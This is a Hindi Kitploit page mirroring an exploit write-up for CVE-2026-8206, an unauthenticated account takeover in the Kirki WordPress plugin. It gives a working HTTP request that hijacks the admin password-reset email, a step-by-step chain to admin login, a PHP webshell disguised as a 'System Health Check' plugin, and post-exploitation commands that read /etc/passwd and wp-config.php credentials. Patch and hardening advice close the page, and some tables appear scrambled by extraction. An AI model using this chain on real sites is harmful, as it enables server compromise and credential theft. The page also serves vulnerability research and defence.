Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-8206 — CVE-2026-8206: Kirki कस्टमाइज़र फ्रेमवर्क - बिना प्रमाणीकरण के खाता अधिग्रहण (CVSS 9.8) | Kitploit
उपकरण/GitHubGitHub/dungsocool/cve-2026-8206
पासवर्ड हमलेभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणपेपर और शोधलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubdungsocool/cve-2026-8206

CVE-2026-8206

CVE-2026-8206: Kirki कस्टमाइज़र फ्रेमवर्क - बिना प्रमाणीकरण के खाता अधिग्रहण (CVSS 9.8)

151 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

CVE-2026-8206

भेद्यता: किर्की कस्टमाइज़र फ्रेमवर्क में बिना प्रमाणीकरण के खाता अधिग्रहण — पासवर्ड रीसेट ईमेल अपहरण

CVSS v3.1 9.8 / 10.0 CRITICAL

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


1. अवलोकन

CVE-2026-8206, Kirki Customizer Framework में एक बिना प्रमाणीकरण के खाता अधिग्रहण (Unauthenticated Account Takeover) भेद्यता है — यह एक लोकप्रिय WordPress पेज बिल्डर प्लगइन है जिसके 90,000 से अधिक सक्रिय इंस्टॉलेशन हैं। यह भेद्यता एक हमलावर को केवल एक HTTP अनुरोध भेजकर किसी भी WordPress खाते (एडमिन सहित) पर कब्ज़ा करने की अनुमति देती है।

यह बग ComponentLibrary मॉड्यूल के REST API एंडपॉइंट kirki-forgot-password में स्थित है। यह एंडपॉइंट किसी भी उपयोगकर्ता के लिए पासवर्ड रीसेट का अनुरोध करने की अनुमति देता है और रीसेट लिंक को उपयोगकर्ता के पंजीकृत ईमेल के बजाय हमलावर द्वारा निर्दिष्ट ईमेल पते पर भेजता है।

जानकारीविवरण
प्लगइनKirki Customizer Framework (WordPress Page Builder)
प्रभावित संस्करण6.0.0 – 6.0.6
पैच किया गया6.0.7 (या 6.0.12+)
भेद्यता प्रकारपासवर्ड रीसेट ईमेल अपहरण के माध्यम से बिना प्रमाणीकरण के खाता अधिग्रहण
एंडपॉइंट/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (या /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password)
CVSS9.8 CRITICAL

शोषण हेतु पूर्वापेक्षाएँ:

  • Kirki Customizer Framework 6.0.0–6.0.6 सक्रिय हो
  • REST API सार्वजनिक हो (WordPress डिफ़ॉल्ट)
  • ComponentLibrary मॉड्यूल सक्रिय हो (प्लगइन सक्रिय होने पर यह डिफ़ॉल्ट होता है)
  • किसी खाते या सत्र की आवश्यकता नहीं होती

→ Kirki 6.0.0–6.0.6 इंस्टॉल वाली हर WordPress साइट डिफ़ॉल्ट रूप से भेद्य है।

2. शब्दावली

ComponentLibrary REST एंडपॉइंट्स

Kirki, Component Library सुविधा के लिए REST API एंडपॉइंट पंजीकृत करता है, जिनमें login, register, forgot-password और change-password शामिल हैं। ये सभी अतिथि (guest) पहुंच की अनुमति देते हैं (guest_permissions_check true लौटाता है)।

Nonce सत्यापन

WordPress nonce एक CSRF सुरक्षा टोकन है। Kirki को X-WP-Element-Nonce हेडर के माध्यम से nonce की आवश्यकता होती है या अनुरोध में nonce पैरामीटर की जाँच करता है। हालाँकि, nonce को क्लाइंट साइड से सार्वजनिक रूप से उत्पन्न/निकाला जा सकता है।

पासवर्ड रीसेट कुंजी

WordPress पासवर्ड रीसेट टोकन उत्पन्न करने के लिए get_password_reset_key() का उपयोग करता है। यह टोकन भेजने से पहले Kirki द्वारा ईमेल टेम्पलेट में शामिल किया जाता है।

3. मूल कारण — पासवर्ड रीसेट ईमेल अपहरण

फ़ाइल: ComponentLibrary/controller/CompLibFormHandler.php

बग 1: ईमेल-से-उपयोगकर्ता सत्यापन का अभाव

भेद्य संस्करण (6.0.0–6.0.6) में, handle_forgot_password() फ़ंक्शन यह सत्यापित नहीं करता है कि प्रदान किया गया ईमेल उपयोगकर्ता के पंजीकृत ईमेल से मेल खाता है या नहीं। एक हमलावर पीड़ित का उपयोगकर्ता नाम और अपना स्वयं का ईमेल निर्दिष्ट कर सकता है — रीसेट लिंक हमलावर के ईमेल पर भेज दिया जाएगा।

भेद्य स्रोत कोड:

root@kitploit:~
public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

बग 2: ईमेल टेम्पलेट पर HMAC हस्ताक्षर का अभाव

ईमेल का विषय और बॉडी क्लाइंट से emailSubject और emailBody पैरामीटर के माध्यम से बिना किसी HMAC हस्ताक्षर के प्राप्त होते हैं, जिससे अखंडता (integrity) की पुष्टि नहीं होती। हमलावर भेजे जा रहे ईमेल की सामग्री को मनमाने ढंग से संशोधित कर सकता है।

root@kitploit:~
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

4. यह भेद्यता खतरनाक क्यों है

कारकस्पष्टीकरण
कोई प्रमाणीकरण आवश्यक नहीं

5. आक्रमण श्रृंखला विश्लेषण

CVE-2026-8206 का शोषण शून्य पहुंच से शुरू होता है — कोई खाता नहीं, कोई पासवर्ड नहीं, कोई सत्र नहीं — केवल HTTP अनुरोधों का उपयोग करके पूर्ण एडमिन अधिग्रहण तक।

root@kitploit:~
Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

5.0 पेलोड निर्माण पद्धति

चरण 1: स्रोत कोड पढ़ना (सबसे सटीक तरीका)

प्लगइन को wordpress.org से डाउनलोड करें और CompLibFormHandler.php फ़ाइल को सीधे खोलें:

root@kitploit:~
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

→ कोड पढ़ने से पता चलता है: emailBody एक JSON सरणी होनी चाहिए, प्रत्येक आइटम में type और value होता है। यदि type = chip और value = reset_link है, तो Kirki स्वचालित रूप से रीसेट लिंक को ईमेल में सम्मिलित कर देता है।

चरण 2: प्लगइन के JavaScript बंडल में grep करना

प्लगइन निर्देशिका के भीतर सीधे grep करें:

root@kitploit:~
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

संकलित फ्रंटएंड कोड आवश्यक सटीक JSON संरचना को उजागर करेगा।

पेलोड खोज प्रक्रिया सारांश:

root@kitploit:~
Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

5.1 चरण 1: पासवर्ड रीसेट ईमेल को अपहृत करें

हमलावर forgot-password एंडपॉइंट पर पीड़ित के उपयोगकर्ता नाम (admin) और हमलावर द्वारा नियंत्रित एक ईमेल पते ([email protected]) के साथ POST अनुरोध भेजता है। सर्वर पीड़ित के लिए एक रीसेट कुंजी उत्पन्न करता है लेकिन रीसेट लिंक [email protected] पर भेजता है।

अनुरोध भेजना:

root@kitploit:~
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Interceptor request sending reset email

प्रतिक्रिया (सफलता):

Response confirming email sent

हमलावर के मेलबॉक्स में प्राप्त ईमेल (MailHog http://localhost:8025 पर):

root@kitploit:~
Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

MailHog inbox receiving reset key

5.2 चरण 2: पासवर्ड रीसेट और एडमिन लॉगिन

हमलावर ईमेल से प्राप्त key टोकन का उपयोग करके kirki-change-password एंडपॉइंट या WordPress के डिफ़ॉल्ट फ़ॉर्म के माध्यम से एडमिन खाते का पासवर्ड बदलता है, फिर लॉगिन करता है और वेबसाइट पर पूर्ण प्रशासनिक नियंत्रण प्राप्त करता है।

Password reset form

पासवर्ड बदला गया और admin खाते का उपयोग करके पहुंच बनाई गई।

Admin dashboard login success

admin खाते की पहुंच सफल।

5.3 चरण 3: वेबशेल अपलोड और RCE

एडमिन डैशबोर्ड तक पहुंच प्राप्त करने के बाद, हमलावर WordPress की डिफ़ॉल्ट अपलोड प्लगइन सुविधा के माध्यम से खाता अधिग्रहण से रिमोट कोड निष्पादन (RCE) तक आगे बढ़ता है।

चरण 1: वेबशेल युक्त एक प्लगइन बनाना

हमलावर एक वैध WordPress प्लगइन के रूप में प्रच्छन्न PHP वेबशेल बनाता है:

root@kitploit:~
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '</pre>';
}

इस फ़ाइल को एडमिन इंटरफ़ेस के माध्यम से अपलोड करने के लिए system-health.zip में संपीड़ित किया जाता है।

चरण 2: एडमिन डैशबोर्ड के माध्यम से प्लगइन अपलोड करना

हमलावर प्लगइन्स → नया प्लगइन जोड़ें → प्लगइन अपलोड करें पर जाता है, system-health.zip फ़ाइल का चयन करता है और अभी इंस्टॉल करें → प्लगइन सक्रिय करें पर क्लिक करता है।

Upload plugin interface

अपलोड के बाद, WordPress स्वचालित रूप से .zip फ़ाइल को सर्वर पर /wp-content/plugins/ निर्देशिका में निकालता है, जिससे वेबशेल कार्य करने के लिए तैयार हो जाता है।

चरण 3: सर्वर पर कमांड निष्पादित करें (RCE)

हमलावर एंडपॉइंट /wp-content/plugins/webshell-plugin/shell.php के माध्यम से सीधे वेबशेल तक पहुंचता है

RCE command execution whoami

RCE command execution passwd

RCE सफल।

इस बिंदु पर, हमलावर के पास www-data विशेषाधिकारों के साथ सर्वर पर पूर्ण कमांड निष्पादन क्षमता होती है। बाद की कार्रवाइयों में निम्नलिखित शामिल हो सकते हैं:

विशेषाधिकार वृद्धि श्रृंखला सारांश:

root@kitploit:~
Admin Dashboard (Account Takeover)
       ↓
Upload Plugin containing Webshell (.zip)
       ↓
WordPress extracts → .php file resides on server
       ↓
Access shell.php?cmd=<command>
       ↓
Server executes command → returns result
       ↓
RCE complete — full www-data privileges on server

6. आक्रमण श्रृंखला सारांश


7. बचाव और सुधार

7.1 प्लगइन पैच (निश्चित समाधान)

वर्तमान संस्करणअपग्रेड करें
6.0.0 – 6.0.66.0.7 या नया

7.2 कोड सुधार — ईमेल उपयोगकर्ता से मेल खाता है, यह सत्यापित करें

root@kitploit:~
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email

7.3 हार्डनिंग — RCE वृद्धि को रोकें

भले ही एडमिन खाते से समझौता हो जाए, निम्नलिखित उपायों से नुकसान को कम किया जा सकता है:

टूल डाउनलोड करें
guest_permissions_check() true लौटाता है — कोई भी एंडपॉइंट को कॉल कर सकता है
किसी भी खाते पर कब्ज़ा किया जा सकता हैकेवल उपयोगकर्ता नाम की आवश्यकता है (डिफ़ॉल्ट: 'admin') — ईमेल/पासवर्ड की आवश्यकता नहीं
प्रभाव: एडमिन अधिग्रहणएडमिन अधिग्रहण → वेबशेल अपलोड → RCE → पूर्ण सर्वर नियंत्रण
व्यापक प्रसारKirki एक प्लगइन है जो कई WordPress थीम्स में व्यापक रूप से एकीकृत है
कमांडउद्देश्य
idचालू उपयोगकर्ता के विशेषाधिकारों की पुष्टि करें
whoamiवर्तमान उपयोगकर्ता नाम देखें
cat /etc/passwdसिस्टम उपयोगकर्ता सूची पढ़ें
uname -aकर्नेल/OS जानकारी देखें
cat wp-config.phpडेटाबेस क्रेडेंशियल पढ़ें
ls -la /संपूर्ण फ़ाइल सिस्टम ब्राउज़ करें
#चरणविधिपथ
1रीसेट ईमेल अपहरणPOST/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
2पासवर्ड रीसेटGET/wp-login.php?action=rp&key=<token>&login=admin
3एडमिन लॉगिनPOST/wp-login.php
4वेबशेल अपलोडPOST/wp-admin/update.php?action=upload-plugin
5RCEGET/wp-content/plugins/webshell-plugin/shell.php?cmd=<command>
उपायकॉन्फ़िगरेशन
डैशबोर्ड के माध्यम से प्लगइन/थीम इंस्टॉलेशन रोकेंwp-config.php में define('DISALLOW_FILE_MODS', true); जोड़ें
डैशबोर्ड से कोड संपादन रोकेंwp-config.php में define('DISALLOW_FILE_EDIT', true); जोड़ें
अपलोड निर्देशिका अनुमतियाँ प्रतिबंधित करेंनिर्देशिकाओं के लिए chmod 755, फ़ाइलों के लिए chmod 644
WAF (वेब एप्लिकेशन फ़ायरवॉल)REST API पर असामान्य अनुरोधों को रोकने के लिए ModSecurity या Cloudflare WAF तैनात करें
निगरानीOSSEC या Wordfence जैसे टूल का उपयोग करके /wp-content/plugins/ में फ़ाइल परिवर्तनों की निगरानी करें